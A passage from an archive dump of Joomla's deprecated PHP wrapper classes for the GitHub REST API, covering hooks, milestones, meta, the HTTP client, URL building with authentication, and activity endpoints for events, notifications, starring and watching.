* @property-read JGithubMilestones $milestones Deprecated GitHub API
object for commits.
* @property-read JGithubStatuses $statuses Deprecated GitHub API
object for commits.
* @property-read JGithubAccount $account Deprecated GitHub API
object for account references.
* @property-read JGithubHooks $hooks Deprecated GitHub API
object for hooks.
* @property-read JGithubMeta $meta Deprecated GitHub API
object for meta.
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithub
{
/**
* @var Registry Options for the GitHub object.
* @since 1.7.3
*/
protected $options;
/**
* @var JGithubHttp The HTTP client object to use in sending HTTP
requests.
* @since 1.7.3
*/
protected $client;
/**
* @var array List of known packages.
* @since 3.3 (CMS)
*/
protected $packages = array(
'activity',
'authorization',
'data',
'gists',
'gitignore',
'issues',
'markdown',
'orgs',
'pulls',
'repositories',
'users',
);
/**
* @var array List of known legacy packages.
* @since 3.3 (CMS)
*/
protected $legacyPackages = array('refs', 'forks',
'commits', 'milestones', 'statuses',
'account', 'hooks', 'meta');
/**
* Constructor.
*
* @param Registry $options GitHub options object.
* @param JGithubHttp $client The HTTP client object.
*
* @since 1.7.3
*/
public function __construct(Registry $options = null, JGithubHttp $client
= null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JGithubHttp($this->options);
// Setup the default API url if not already set.
$this->options->def('api.url',
'https://api.github.com');
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @throws RuntimeException
*
* @since 1.7.3
* @return JGithubObject GitHub API object (gists, issues, pulls, etc).
*/
public function __get($name)
{
if (false == in_array($name, $this->packages))
{
// Check for a legacy class
if (in_array($name, $this->legacyPackages))
{
if (false == isset($this->$name))
{
$className = 'JGithub' . ucfirst($name);
$this->$name = new $className($this->options, $this->client);
}
return $this->$name;
}
throw new RuntimeException(sprintf('%1$s - Unknown package
%2$s', __METHOD__, $name));
}
if (false == isset($this->$name))
{
$className = 'JGithubPackage' . ucfirst($name);
$this->$name = new $className($this->options, $this->client);
}
return $this->$name;
}
/**
* Get an option from the JGitHub instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 1.7.3
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGitHub instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGitHub This object for method chaining.
*
* @since 1.7.3
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
github/hooks.php000064400000015115151171674100007670 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Hooks class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubHooks extends JGithubObject
{
/**
* Array containing the allowed hook events
*
* @var array
* @since 3.1.4
*/
protected $events = array(
'push',
'issues',
'issue_comment',
'commit_comment',
'pull_request',
'gollum',
'watch',
'download',
'fork',
'fork_apply',
'member',
'public',
'status',
);
/**
* Method to create a hook on a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The name of the service being called.
* @param array $config Array containing the config for the service.
* @param array $events The events the hook will be triggered for.
* @param boolean $active Flag to determine if the hook is active
*
* @deprecated use repositories->hooks->create()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @throws RuntimeException
*/
public function create($user, $repo, $name, array $config, array $events =
array('push'), $active = true)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks';
// Check to ensure all events are in the allowed list
foreach ($events as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your events array contains an
unauthorized event.');
}
}
$data = json_encode(
array('name' => $name, 'config' => $config,
'events' => $events, 'active' => $active)
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Method to delete a hook
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to delete.
*
* @deprecated use repositories->hooks->delete()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function delete($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Method to edit a hook.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to edit.
* @param string $name The name of the service being called.
* @param array $config Array containing the config for the
service.
* @param array $events The events the hook will be triggered
for. This resets the currently set list
* @param array $addEvents Events to add to the hook.
* @param array $removeEvents Events to remove from the hook.
* @param boolean $active Flag to determine if the hook is
active
*
* @deprecated use repositories->hooks->edit()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @throws RuntimeException
*/
public function edit($user, $repo, $id, $name, array $config, array
$events = array('push'), array $addEvents = array(),
array $removeEvents = array(), $active = true)
{
// Check to ensure all events are in the allowed list
foreach ($events as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your events array contains an
unauthorized event.');
}
}
foreach ($addEvents as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your active_events array contains an
unauthorized event.');
}
}
foreach ($removeEvents as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your remove_events array contains an
unauthorized event.');
}
}
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
$data = json_encode(
array(
'name' => $name,
'config' => $config,
'events' => $events,
'add_events' => $addEvents,
'remove_events' => $removeEvents,
'active' => $active,
)
);
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to get details about a single hook for the repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to retrieve
*
* @deprecated use repositories->hooks->get()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function get($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to list hooks for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use repositories->hooks->getList()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function getList($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to test a hook against the latest repository commit
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to delete
*
* @deprecated use repositories->hooks->test()
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function test($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id . '/test';
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode('')),
204
);
}
}
github/http.php000064400000002704151171674100007524 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* HTTP client class for connecting to a GitHub instance.
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubHttp extends JHttp
{
/**
* Use no authentication for HTTP connections.
*
* @var integer
* @since 1.7.3
*/
const AUTHENTICATION_NONE = 0;
/**
* Use basic authentication for HTTP connections.
*
* @var integer
* @since 1.7.3
*/
const AUTHENTICATION_BASIC = 1;
/**
* Use OAuth authentication for HTTP connections.
*
* @var integer
* @since 1.7.3
*/
const AUTHENTICATION_OAUTH = 2;
/**
* Constructor.
*
* @param Registry $options Client options object.
* @param JHttpTransport $transport The HTTP transport object.
*
* @since 1.7.3
*/
public function __construct(Registry $options = null, JHttpTransport
$transport = null)
{
// Call the JHttp constructor to setup the object.
parent::__construct($options, $transport);
// Make sure the user agent string is defined.
$this->options->def('userAgent',
'JGitHub/2.0');
// Set the default timeout to 120 seconds.
$this->options->def('timeout', 120);
}
}
github/meta.php000064400000002707151171674100007476 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Meta class.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubMeta extends JGithubObject
{
/**
* Method to get the authorized IP addresses for services
*
* @return array Authorized IP addresses
*
* @since 3.2.0
* @throws DomainException
*/
public function getMeta()
{
// Build the request path.
$path = '/meta';
$githubIps =
$this->processResponse($this->client->get($this->fetchUrl($path)),
200);
/*
* The response body returns the IP addresses in CIDR format
* Decode the response body and strip the subnet mask information prior
to
* returning the data to the user. We're assuming quite a bit here
that all
* masks will be /32 as they are as of the time of development.
*/
$authorizedIps = array();
foreach ($githubIps as $key => $serviceIps)
{
// The first level contains an array of IPs based on the service
$authorizedIps[$key] = array();
foreach ($serviceIps as $serviceIp)
{
// The second level is each individual IP address, strip the mask here
$authorizedIps[$key][] = substr($serviceIp, 0, -3);
}
}
return $authorizedIps;
}
}
github/milestones.php000064400000015002151171674100010722 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Milestones class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubMilestones extends JGithubObject
{
/**
* Method to get the list of milestones for a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $state The milestone state to retrieved. Open
(default) or closed.
* @param string $sort Sort can be due_date (default) or
completeness.
* @param string $direction Direction is asc or desc (default).
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @deprecated use issues->milestones->getList()
*
* @return array
*
* @since 3.1.4
*/
public function getList($user, $repo, $state = 'open', $sort =
'due_date', $direction = 'desc', $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones?';
$path .= 'state=' . $state;
$path .= '&sort=' . $sort;
$path .= '&direction=' . $direction;
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a specific milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The milestone id to get.
*
* @deprecated use issues->milestones->get()
*
* @return object
*
* @since 3.1.4
*/
public function get($user, $repo, $milestoneId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to create a milestone for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $title The title of the milestone.
* @param string $state Can be open (default) or closed.
* @param string $description Optional description for milestone.
* @param string $dueOn Optional ISO 8601 time.
*
* @deprecated use issues->milestones->create()
*
* @return object
*
* @since 3.1.4
*/
public function create($user, $repo, $title, $state = null, $description =
null, $dueOn = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones';
// Build the request data.
$data = array(
'title' => $title,
);
if (!is_null($state))
{
$data['state'] = $state;
}
if (!is_null($description))
{
$data['description'] = $description;
}
if (!is_null($dueOn))
{
$data['due_on'] = $dueOn;
}
$data = json_encode($data);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The id of the comment to update.
* @param integer $title Optional title of the milestone.
* @param string $state Can be open (default) or closed.
* @param string $description Optional description for milestone.
* @param string $dueOn Optional ISO 8601 time.
*
* @deprecated use issues->milestones->edit()
*
* @return object
*
* @since 3.1.4
*/
public function edit($user, $repo, $milestoneId, $title = null, $state =
null, $description = null, $dueOn = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Build the request data.
$data = array();
if (!is_null($title))
{
$data['title'] = $title;
}
if (!is_null($state))
{
$data['state'] = $state;
}
if (!is_null($description))
{
$data['description'] = $description;
}
if (!is_null($dueOn))
{
$data['due_on'] = $dueOn;
}
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to delete a milestone.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $milestoneId The id of the milestone to delete.
*
* @deprecated use issues->milestones->delete()
*
* @return void
*
* @since 3.1.4
*/
public function delete($user, $repo, $milestoneId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/milestones/' . (int) $milestoneId;
// Send the request.
$response = $this->client->delete($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 204)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
}
github/object.php000064400000006700151171674100010013 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* GitHub API object class for the Joomla Platform.
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
abstract class JGithubObject
{
/**
* @var Registry Options for the GitHub object.
* @since 1.7.3
*/
protected $options;
/**
* @var JGithubHttp The HTTP client object to use in sending HTTP
requests.
* @since 1.7.3
*/
protected $client;
/**
* Constructor.
*
* @param Registry $options GitHub options object.
* @param JGithubHttp $client The HTTP client object.
*
* @since 1.7.3
*/
public function __construct(Registry $options = null, JGithubHttp $client
= null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JGithubHttp($this->options);
}
/**
* Method to build and return a full request URL for the request. This
method will
* add appropriate pagination details if necessary and also prepend the
API url
* to have a complete URL for the request.
*
* @param string $path URL to inflect
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @return string The request URL.
*
* @since 1.7.3
*/
protected function fetchUrl($path, $page = 0, $limit = 0)
{
// Get a new JUri object focusing the api url and given path.
$uri = new JUri($this->options->get('api.url') . $path);
if ($this->options->get('gh.token', false))
{
// Use oAuth authentication - @todo set in request header ?
$uri->setVar('access_token',
$this->options->get('gh.token'));
}
else
{
// Use basic authentication
if ($this->options->get('api.username', false))
{
$username = $this->options->get('api.username');
$username = str_replace('@', '%40', $username);
$uri->setUser($username);
}
if ($this->options->get('api.password', false))
{
$password = $this->options->get('api.password');
$password = str_replace('@', '%40', $password);
$uri->setPass($password);
}
}
// If we have a defined page number add it to the JUri object.
if ($page > 0)
{
$uri->setVar('page', (int) $page);
}
// If we have a defined items per page add it to the JUri object.
if ($limit > 0)
{
$uri->setVar('per_page', (int) $limit);
}
return (string) $uri;
}
/**
* Process the response and decode it.
*
* @param JHttpResponse $response The response.
* @param integer $expectedCode The expected "good"
code.
* @param boolean $decode If the should be response be
JSON decoded.
*
* @throws DomainException
* @since 3.3.0
*
* @return mixed
*/
protected function processResponse(JHttpResponse $response, $expectedCode
= 200, $decode = true)
{
// Validate the response code.
if ($response->code == $expectedCode)
{
return ($decode) ? json_decode($response->body) : $response->body;
}
// Decode the error response and throw an exception.
$error = json_decode($response->body);
$message = (isset($error->message)) ? $error->message :
'Error: ' . $response->code;
throw new DomainException($message, $response->code);
}
}
github/package/activity/events.php000064400000011024151171674100013273
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity Events class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/activity/events/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageActivityEvents extends JGithubPackage
{
/**
* List public events.
*
* @since 3.1.4
* @return object
*/
public function getPublic()
{
// Build the request path.
$path = '/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List repository events.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.1.4
*
* @return object
*/
public function getRepository($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List issue events for a repository.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.1.4
* @return object
*/
public function getIssue($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/issues/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List public events for a network of repositories.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.1.4
* @return object
*/
public function getNetwork($owner, $repo)
{
// Build the request path.
$path = '/networks/' . $owner . '/' . $repo .
'/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List public events for an organization.
*
* @param string $org Organisation.
*
* @since 3.1.4
* @return object
*/
public function getOrg($org)
{
// Build the request path.
$path = '/orgs/' . $org . '/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List events that a user has received.
*
* These are events that you’ve received by watching repos and following
users.
* If you are authenticated as the given user, you will see private
events.
* Otherwise, you’ll only see public events.
*
* @param string $user User name.
*
* @since 3.1.4
* @return object
*/
public function getUser($user)
{
// Build the request path.
$path = '/users/' . $user . '/received_events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List public events that a user has received.
*
* @param string $user User name.
*
* @since 3.1.4
* @return object
*/
public function getUserPublic($user)
{
// Build the request path.
$path = '/users/' . $user .
'/received_events/public';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List events performed by a user.
*
* If you are authenticated as the given user, you will see your private
events.
* Otherwise, you’ll only see public events.
*
* @param string $user User name.
*
* @since 3.1.4
* @return object
*/
public function getByUser($user)
{
// Build the request path.
$path = '/users/' . $user . '/events';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List public events performed by a user.
*
* @param string $user User name.
*
* @since 3.1.4
* @return object
*/
public function getByUserPublic($user)
{
// Build the request path.
$path = '/users/' . $user . '/events/public';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List events for an organization.
*
* This is the user’s organization dashboard.
* You must be authenticated as the user to view this.
*
* @param string $user User name.
* @param string $org Organisation.
*
* @since 3.1.4
* @return object
*/
public function getUserOrg($user, $org)
{
// Build the request path.
$path = '/users/' . $user . '/events/orgs/' . $org;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
}
github/package/activity/notifications.php000064400000016613151171674100014651
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity Events class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/activity/notifications/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageActivityNotifications extends JGithubPackage
{
/**
* List your notifications.
*
* List all notifications for the current user, grouped by repository.
*
* @param boolean $all True to show notifications marked as
read.
* @param boolean $participating True to show only notifications in
which the user is directly participating or
* mentioned.
* @param JDate $since filters out any notifications updated
before the given time. The time should be passed in
* as UTC in the ISO 8601 format.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($all = true, $participating = true, JDate $since =
null)
{
// Build the request path.
$path = '/notifications?';
$path .= ($all) ? '&all=1' : '';
$path .= ($participating) ? '&participating=1' :
'';
$path .= ($since) ? '&since=' . $since->toISO8601() :
'';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List your notifications in a repository.
*
* List all notifications for the current user.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param boolean $all True to show notifications marked as
read.
* @param boolean $participating True to show only notifications in
which the user is directly participating or
* mentioned.
* @param JDate $since filters out any notifications updated
before the given time. The time should be passed in
* as UTC in the ISO 8601 format.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListRepository($owner, $repo, $all = true,
$participating = true, JDate $since = null)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/notifications?';
$path .= ($all) ? '&all=1' : '';
$path .= ($participating) ? '&participating=1' :
'';
$path .= ($since) ? '&since=' . $since->toISO8601() :
'';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Mark as read.
*
* Marking a notification as “read” removes it from the default view
on GitHub.com.
*
* @param boolean $unread Changes the unread status of the
threads.
* @param boolean $read Inverse of “unread”.
* @param JDate $lastReadAt Describes the last point that
notifications were checked.
* Anything updated since this time will
not be updated. Default: Now. Expected in ISO 8601 format.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function markRead($unread = true, $read = true, JDate $lastReadAt =
null)
{
// Build the request path.
$path = '/notifications';
$data = array(
'unread' => $unread,
'read' => $read,
);
if ($lastReadAt)
{
$data['last_read_at'] = $lastReadAt->toISO8601();
}
return $this->processResponse(
$this->client->put($this->fetchUrl($path), json_encode($data)),
205
);
}
/**
* Mark notifications as read in a repository.
*
* Marking all notifications in a repository as “read” removes them
from the default view on GitHub.com.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param boolean $unread Changes the unread status of the
threads.
* @param boolean $read Inverse of “unread”.
* @param JDate $lastReadAt Describes the last point that
notifications were checked.
* Anything updated since this time will
not be updated. Default: Now. Expected in ISO 8601 format.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function markReadRepository($owner, $repo, $unread, $read, JDate
$lastReadAt = null)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/notifications';
$data = array(
'unread' => $unread,
'read' => $read,
);
if ($lastReadAt)
{
$data['last_read_at'] = $lastReadAt->toISO8601();
}
return $this->processResponse(
$this->client->put($this->fetchUrl($path), json_encode($data)),
205
);
}
/**
* View a single thread.
*
* @param integer $id The thread id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function viewThread($id)
{
// Build the request path.
$path = '/notifications/threads/' . $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Mark a thread as read.
*
* @param integer $id The thread id.
* @param boolean $unread Changes the unread status of the threads.
* @param boolean $read Inverse of “unread”.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function markReadThread($id, $unread = true, $read = true)
{
// Build the request path.
$path = '/notifications/threads/' . $id;
$data = array(
'unread' => $unread,
'read' => $read,
);
return $this->processResponse(
$this->client->patch($this->fetchUrl($path),
json_encode($data)),
205
);
}
/**
* Get a Thread Subscription.
*
* This checks to see if the current user is subscribed to a thread.
* You can also get a Repository subscription.
*
* @param integer $id The thread id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getThreadSubscription($id)
{
// Build the request path.
$path = '/notifications/threads/' . $id .
'/subscription';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Set a Thread Subscription.
*
* This lets you subscribe to a thread, or ignore it. Subscribing to a
thread is unnecessary
* if the user is already subscribed to the repository. Ignoring a thread
will mute all
* future notifications (until you comment or get @mentioned).
*
* @param integer $id The thread id.
* @param boolean $subscribed Determines if notifications should be
received from this thread.
* @param boolean $ignored Determines if all notifications should
be blocked from this thread.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function setThreadSubscription($id, $subscribed, $ignored)
{
// Build the request path.
$path = '/notifications/threads/' . $id .
'/subscription';
$data = array(
'subscribed' => $subscribed,
'ignored' => $ignored,
);
return $this->processResponse(
$this->client->put($this->fetchUrl($path), json_encode($data))
);
}
/**
* Delete a Thread Subscription.
*
* @param integer $id The thread id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function deleteThreadSubscription($id)
{
// Build the request path.
$path = '/notifications/threads/' . $id .
'/subscription';
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/activity/starring.php000064400000006010151171674100013617
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity Events class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/activity/starring/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageActivityStarring extends JGithubPackage
{
/**
* List Stargazers.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return mixed
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/stargazers';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List repositories being starred.
*
* List repositories being starred by a user.
*
* @param string $user User name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getRepositories($user = '')
{
// Build the request path.
$path = ($user)
? '/users' . $user . '/starred'
: '/user/starred';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Check if you are starring a repository.
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function check($owner, $repo)
{
// Build the request path.
$path = '/user/starred/' . $owner . '/' . $repo;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case '204' :
// This repository is watched by you.
return true;
break;
case '404' :
// This repository is not watched by you.
return false;
break;
}
throw new UnexpectedValueException('Unexpected response code: '
. $response->code);
}
/**
* Star a repository.
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function star($owner, $repo)
{
// Build the request path.
$path = '/user/starred/' . $owner . '/' . $repo;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Unstar a repository.
*
* Requires for the user to be authenticated.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function unstar($owner, $repo)
{
// Build the request path.
$path = '/user/starred/' . $owner . '/' . $repo;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
github/package/activity/watching.php000064400000011247151171674100013602
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity Watching Events class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/activity/watching/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageActivityWatching extends JGithubPackage
{
/**
* List watchers
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return mixed
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/subscribers';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* List repositories being watched.
*
* List repositories being watched by a user.
*
* @param string $user User name.
*
* @since 3.3 (CMS)
*
* @return mixed
*/
public function getRepositories($user = '')
{
// Build the request path.
$path = ($user)
? '/users/' . $user . '/subscriptions'
: '/user/subscriptions';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a Repository Subscription.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
*
* @since 3.3 (CMS)
*
* @return mixed
*/
public function getSubscription($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/subscription';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Set a Repository Subscription.
*
* @param string $owner Repository owner.
* @param string $repo Repository name.
* @param boolean $subscribed Determines if notifications should be
received from this thread.
* @param boolean $ignored Determines if all notifications should
be blocked from this thread.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function setSubscription($owner, $repo, $subscribed, $ignored)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/subscription';
$data = array(
'subscribed' => $subscribed,
